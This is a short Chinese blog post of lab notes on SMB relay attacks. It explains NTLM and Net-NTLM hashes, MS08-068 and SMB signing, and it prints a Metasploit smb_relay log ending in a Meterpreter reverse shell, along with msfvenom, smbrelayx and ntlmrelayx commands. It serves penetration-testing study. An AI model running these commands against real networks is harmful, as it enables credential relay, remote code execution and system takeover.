smb relay中继攻击(metasploit)

简单记录

->SMB:

服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。在Windows 2000之前,SMB过去通过TCP / IP端口139与NetBIOS一起运行。因此,建立SMB连接需要NetBIOS会话。

NTLM hash 和 Net-NTLM hash

NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行Pass the Hash攻击

Net-NTLM(V1/V2)的hash值是基于用户密码的NTLM hash计算出来的,用于网络中的认证,步骤如下:
客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash

ms08-068


msf5 exploit(windows/smb/smb_relay) > [*] Sending NTLMSSP NEGOTIATE to 192.168.174.139
[*] Extracting NTLMSSP CHALLENGE from 192.168.174.139
[*] Forwarding the NTLMSSP CHALLENGE to 192.168.174.140:1107
[*] Extracting the NTLMSSP AUTH resolution from 192.168.174.140:1107, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 192.168.174.139
[+] SMB auth relay against 192.168.174.139 succeeded
[*] Connecting to the defined share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \YPLIQcCD.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \YPLIQcCD.exe...
[*] Sending stage (180291 bytes) to 192.168.174.139
[*] Meterpreter session 1 opened (192.168.174.147:4444 -> 192.168.174.139:49197) at 2020-09-17 01:04:33 +0800

结合Impacket中的smbrelayx

msf生成木马:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.xxx LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\test.exe

监听: exploit/multi/handler
执行smbrelayx :./smbrelayx.py -e ~/test.exe

08以上系统

使用的ntlm

MS08-068漏洞修复之后现状:

无法再将Net-NTLM哈希值传回到发起请求的机器上。
可以结合responeder中继

Q:这种攻击形式的条件?

进行转发操作的机器上禁用SMB签名,所有的Windows操作系统都默认关闭了SMB签名(个别的例外)

在开启了 SMB Signing 的情况下,在 SMB 协议利用 NTLM SSP 进行了身份验证后,后续的所有数据包,都会利用 NTLM SSP 生成的这个 session key 进行签名。SMB 服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。
NTLM SSP 在生成 session key 的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而 relay 型的攻击,都是站在一个中间人的位置,我们是不可能知道原始的 LM HASH 或 NT HASH 的。我们是无法计算出来这个 session key 的,自然也就无法对数据包进行签名。

开启中继,ntlmrelayx.py -t 192.168.138.134 -c 'xx'

posted @ 2019-09-17 08:08  卿先生  阅读(1439)  评论(0)    收藏  举报